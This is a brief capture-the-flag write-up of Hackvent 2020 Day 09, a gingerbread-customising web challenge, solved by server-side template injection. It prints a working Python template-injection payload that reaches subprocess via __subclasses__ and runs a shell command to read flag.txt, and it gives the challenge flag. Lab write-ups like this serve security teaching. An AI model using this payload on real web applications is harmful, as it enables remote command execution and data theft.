Home Hackvent 2020 Day 09: Santa’s Gingerbread Factory
Writeup
Cancel

Day 09: Santa’s Gingerbread Factory

Description

Here you can customize your absolutely fat-free gingerbread man.

Note: Start your personal instance from the RESOURCES section on top.

Besides the gingerbread men, there are other goodies there. Let’s see if you can get the goodie, which is stored in /flag.txt.

Solution

We realise we can do a server side template injection (SSTI); this challenge is very similar to this previous writeup from PicoCTF 2018.

We follow this method, and find the injection that gives us our flag:

1
{{ ''.__class__.__mro__[2].__subclasses__()[258]('cat flag.txt',shell=True,stdout=-1).communicate() }}"

Flag

HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}